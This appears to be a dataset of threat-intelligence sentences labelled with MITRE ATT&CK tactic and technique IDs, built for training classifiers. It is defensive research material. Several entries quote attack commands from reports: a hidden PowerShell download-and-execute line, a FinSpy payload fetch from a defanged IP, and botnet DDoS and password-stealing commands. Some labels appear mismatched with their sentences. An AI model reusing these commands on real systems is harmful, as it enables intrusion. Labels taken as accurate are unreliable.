madox81/Adema_ATTACK_DS huggingface dataset:
Input: In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to

Tactics: TA0011
Techniques: T1008
Input: FIN10 uses PowerShell for execution as well as PowerShell Empire to establish persistence.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Review privileged cloud account permission levels routinely to look for those that could allow an adversary to gain wide access.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078.004, T1078
Input: Imminent Monitor has a remote microphone monitoring capability.

Tactics: TA0009
Techniques: T1123
Input: AuditCred can utilize proxy for communications.

Tactics: TA0011
Techniques: T1090
Input: Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library.

Tactics: TA0003, TA0004
Techniques: T1547.008, T1547
Input: Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.

Tactics: TA0006
Techniques: T1555
Input: PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Sidewinder has used tools to collect the computer name, OS version, installed hotfixes, as well as information regarding the memory and processor on a compromised host.

Tactics: TA0007
Techniques: T1082
Input: From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: A tool has been developed to facilitate planting backdoors in cloud container images.

Tactics: TA0003
Techniques: T1525
Input: Honeybee adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.

Tactics: TA0009
Techniques: T1560, T1074.001, T1074
Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.

Tactics: TA0043
Techniques: T1598.002, T1598
Input: Kinsing has searched for private keys.

Tactics: TA0006
Techniques: T1552.004, T1552
Input: Monitor for newly constructed network activity generated by BITS.

Tactics: TA0003, TA0005
Techniques: T1197
Input: Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: Monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.012, T1574
Input: Bazar also resolves strings and API calls at runtime.

Tactics: TA0005
Techniques: T1140
Input: For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object.

Tactics: TA0005
Techniques: T1218, T1218.014
Input: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: Our observation of related actions here:    u ps start password stealing (Windows)   Ps_mps/ps_hwi start start password stealing (Linux, MIPS,  ARM)   uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM)   Nm_mps/nm_hwi start  –ban -middle Scan ports and retrieve banners on the router subnet  (Linux, MIPS,  ARM)   U fsget * 7 *.docx, *.pdf, *.doc * search for docs with the given filetypes (Windows)   S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route print, tracert www.google.com (Windows)   weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995]  typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS,  ARM)   weap_mps/weap_hwi  typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS,  ARM)    The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices. We want to pay special attention to the DDoS commands meant for these routers

Tactics: TA0006
Techniques: T1003
Input: Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (, tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.

Tactics: TA0005
Techniques: T1578, T1578.004
Input: USBferry can collect information from an air-gapped host machine.

Tactics: TA0009
Techniques: T1005
Input: Hydraq connects to a predefined domain on port 443 to exfil gathered information.

Tactics: TA0010
Techniques: T1048
Input: Turian can search for specific files and list directories.

Tactics: TA0007
Techniques: T1083
Input: Lokibot has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.

Tactics: TA0006
Techniques: T1555
Input: Operation Wocao has used the net command to retrieve information about domain accounts.

Tactics: TA0007
Techniques: T1087.002, T1087
Input: Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.

Tactics: TA0009
Techniques: T1119
Input: The paths discovered are:  • C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd   Leo, Poopak, Vendetta and Turk are the usernames of those creating the documents or the templates on which they are based

Tactics: TA0002, TA0007, TA0009
Techniques: T1005, T1033, T1087, T1204
Input: It also creates a folder at C:\Users\\AppData\Roaming\Microsoft\store to store screenshot JPEG files.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Freenki is used to gather information about the infected system and to download a subsequent stage payload

Tactics: TA0007
Techniques: T1082
Input: These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files

Tactics: TA0001
Techniques: T1566, T1566.002
Input: ZxShell can collect the owner and organization information from the target workstation.

Tactics: TA0007
Techniques: T1033
Input: Monitor for attempts to access SYSVOL that involve searching for XML files.

Tactics: TA0006
Techniques: T1552, T1552.006
Input: RogueRobin can save a new file to the system from the C2 server.

Tactics: TA0011
Techniques: T1105
Input: Indrik Spider has used PsExec to stop services prior to the execution of ransomware.

Tactics: TA0040
Techniques: T1489
Input: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained.

Tactics: TA0006
Techniques: T1552.001, T1552
Input: During our investigation of one of the compromised servers we found an application that, at first glance, appeared to be a legitimate SSH server called Dropbear SSH

Tactics: TA0005, TA0008
Techniques: T1036, T1021
Input: Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.

Tactics: TA0006
Techniques: T1003
Input: BITSAdmin can be used to create BITS Jobs to upload and/or download files from SMB file servers.

Tactics: TA0008
Techniques: T1570
Input: When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier in ‘f_id’> + “?alt=media” The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression: ([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>) The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected

Tactics: TA0009, TA0010
Techniques: T1041, T1048, T1560, T1074
Input: PLATINUM has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Cobalt Strike can use self signed Java applets to execute signed applet attacks.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Backdoor.Oldrea collects address book information from Outlook.

Tactics: TA0007
Techniques: T1087.003, T1087
Input: Skidmap has used pm.sh to download and install its main payload.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: More_eggs will decode malware components that are then dropped to the system.

Tactics: TA0005
Techniques: T1140
Input: Hikit can upload files from compromised machines.

Tactics: TA0009
Techniques: T1005
Input: PowerPunch has the ability to execute through PowerShell.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: TrickBot can Base64-encode C2 commands.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Monitor for third-party application logging, messaging, and/or other service artifacts that provide context of user authentication to web applications, including cloud-based services.

Tactics: TA0005, TA0008
Techniques: T1550.004, T1550
Input: Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: PowerShell), or other suspicious actions that could relate to post-compromise behavior.

Tactics: TA0005
Techniques: T1221
Input: GALLIUM leveraged valid accounts to maintain access to a victim network.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: Remote access tools may contain built-in features or incorporate existing tools like Mimikatz.

Tactics: TA0006, TA0007
Techniques: T1033, T1003, T1003.004, T1003.001, T1003.005
Input: The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code

Tactics: TA0002, TA0005
Techniques: T1140, T1106
Input: MuddyWater decoded base64-encoded PowerShell commands using a VBS file.

Tactics: TA0005
Techniques: T1140
Input: Figure 1 Article referenced by decoy document in attack against British government agency   The attached document leverages a DDE exploit to ultimately execute the following code:c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Example services include websites, email services, DNS, and web-based applications.

Tactics: TA0040
Techniques: T1499
Input: Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function.

Tactics: TA0005
Techniques: T1553.001, T1553
Input: Monitor the lifetime of TGT tickets for values that differ from the default domain duration.

Tactics: TA0006
Techniques: T1558, T1558.001
Input: Benign commands or other operations may also be used to delay malware execution.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: Operation Wocao has used WMI to execute commands.

Tactics: TA0002
Techniques: T1047
Input: Agent Tesla can collect the username from the victim’s machine.

Tactics: TA0007
Techniques: T1033
Input: Sandworm Team used the sp_addlinkedsrvlogin command in MS-SQL to create a link between a created account and other servers in the network.

Tactics: TA0003
Techniques: T1098
Input: It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Mustang Panda has created the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobelmdyU to maintain persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: ServHelper has the ability to execute a PowerShell script to get information from the infected host.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: NOKKI uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.

Tactics: TA0006, TA0009
Techniques: T1056.004, T1056
Input: Aria-body has the ability to use a DGA for C2 communications.

Tactics: TA0011
Techniques: T1568, T1568.002
Input: Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.

Tactics: TA0005
Techniques: T1599
Input: In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.008, T1574
Input: We believe the adversary exploited a recently vulnerability in Microsoft SharePoint tracked by , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell

Tactics: TA0002
Techniques: T1203
Input: APT32 used Net to use Windows' hidden network shares to copy their tools to remote machines for execution.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Helminth can use DNS for C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: Clop can encrypt files using AES, RSA, and RC4 and will add the ".clop" extension to encrypted files.

Tactics: TA0040
Techniques: T1486
Input: This could be done to blend traffic patterns with normal activity or availability.

Tactics: TA0010
Techniques: T1029
Input: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

Tactics: TA0007
Techniques: T1082
Input: The NETWIRE binary has been executed via PowerShell script.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: DropBook can unarchive data downloaded from the C2 to obtain the payload and persistence modules.

Tactics: TA0005
Techniques: T1140
Input: Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed.

Tactics: TA0006
Techniques: T1110.004, T1110
Input: Ursnif has used Registry Run keys to establish automatic execution at system startup.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor executed commands and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.

Tactics: TA0003
Techniques: T1505.005, T1505
Input: A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur.

Tactics: TA0042
Techniques: T1588.006, T1588
Input: Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053, T1053.002
Input: Adversaries may execute their own malicious payloads by side-loading DLLs.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: CHOPSTICK provides access to the Windows Registry, which can be used to gather information.

Tactics: TA0007
Techniques: T1012
Input: FIN6 has obtained and used tools such as Mimikatz, Cobalt Strike, and AdFind.

Tactics: TA0042
Techniques: T1588, T1588.002
Input: Monitor executed commands and arguments that may abuse Microsoft Outlook forms to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.003
Input: Volgmer executes payloads using the Windows API call CreateProcessW().

Tactics: TA0002
Techniques: T1106
Input: Kimsuky has set auto-forward rules on victim's e-mail accounts.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: Figure 2 Employee survey displayed after credential theft The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3

Tactics: TA0006
Techniques: T1003
Input: Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Empire can utilize Invoke-DCOM to leverage remote COM execution for lateral movement.

Tactics: TA0008
Techniques: T1021.003, T1021
Input: Monitor for newly constructed network connections that are sent or received by untrusted hosts or creating files on-system may be suspicious.

Tactics: TA0011
Techniques: T1105
Input: BUBBLEWRAP can communicate using SOCKS.

Tactics: TA0011
Techniques: T1095
Input: REvil can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.

Tactics: TA0040
Techniques: T1490
Input: Alterations to the service binary path or the service startup type changed to disabled may be suspicious.

Tactics: TA0040
Techniques: T1489
Input: ThiefQuest uses the kill_unwanted function to get a list of running processes, compares each process with an encrypted list of "unwanted" security related programs, and kills the processes for security related programs.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Organizations may consider weighing the risk of storing credentials in password stores and web browsers.

Tactics: TA0006
Techniques: T1555
Input: BackConfig has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Ensure proper system and access isolation for critical network systems through use of multi-factor authentication.

Tactics: TA0002, TA0008
Techniques: T1072
Input: SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: KeyBoy uses VBS scripts for installing files and performing execution.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Cobalt Strike can determine the NetBios name and  the IP addresses of targets machines including domain controllers.

Tactics: TA0007
Techniques: T1016
Input: Second stage shellcode The second stage shellcode will then perform the following actions:  Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe Download a lure document to display to the victim from the same IP Execute the payload and display the lure document  Payload – mo.exe As mentioned earlier, the “mo.exe” payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma International’s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations.  This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code

Tactics: TA0002, TA0004, TA0005, TA0011
Techniques: T1055.012, T1105, T1055, T1059
Input: This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.

Tactics: TA0004, TA0005
Techniques: T1548.004, T1548
Input: Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Sharpshooter downloaded additional payloads after a target was infected with a first-stage downloader.

Tactics: TA0011
Techniques: T1105
Input: Axiom has been observed using SQL injection to gain access to systems.

Tactics: TA0001
Techniques: T1190
Input: SEASHARPEE can execute commands on victims.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Fysbis can collect information about running processes.

Tactics: TA0007
Techniques: T1057
Input: PoshC2 can use Invoke-TokenManipulation for manipulating tokens.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Monitor for newly executed processes that may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC).

Tactics: TA0008
Techniques: T1021.005, T1021
Input: Silent Librarian has obtained free Let's Encrypt SSL certificates for use on their phishing pages.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: BRONZE BUTLER compromised three Japanese websites using a Flash exploit to perform watering hole attacks.

Tactics: TA0001
Techniques: T1189
Input: However, the attacks different stages were hosted on a variety of free sites such as Mailimg, Github, Pastebin, dev-point.co, a.pomf.cat, and upload.cat

Tactics: TA0011
Techniques: T1102
Input: RTM used Port 44443 for its VNC module.

Tactics: TA0011
Techniques: T1571
Input: Monitor executed commands and arguments that may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.

Tactics: TA0006
Techniques: T1003.003, T1003
Input: TRITON’s TsLow python module pings controllers over the TriStation protocol.

Tactics: TA0007
Techniques: T1018
Input: ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Tactics: TA0003, TA0004
Techniques: T1543.002, T1543
Input: Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

Tactics: TA0006
Techniques: T1552.003, T1552
Input: Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by Netsh Helper DLLs.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.007
Input: Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required.

Tactics: TA0005, TA0007
Techniques: T1622
Input: bat: A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server

Tactics: TA0002
Techniques: T1059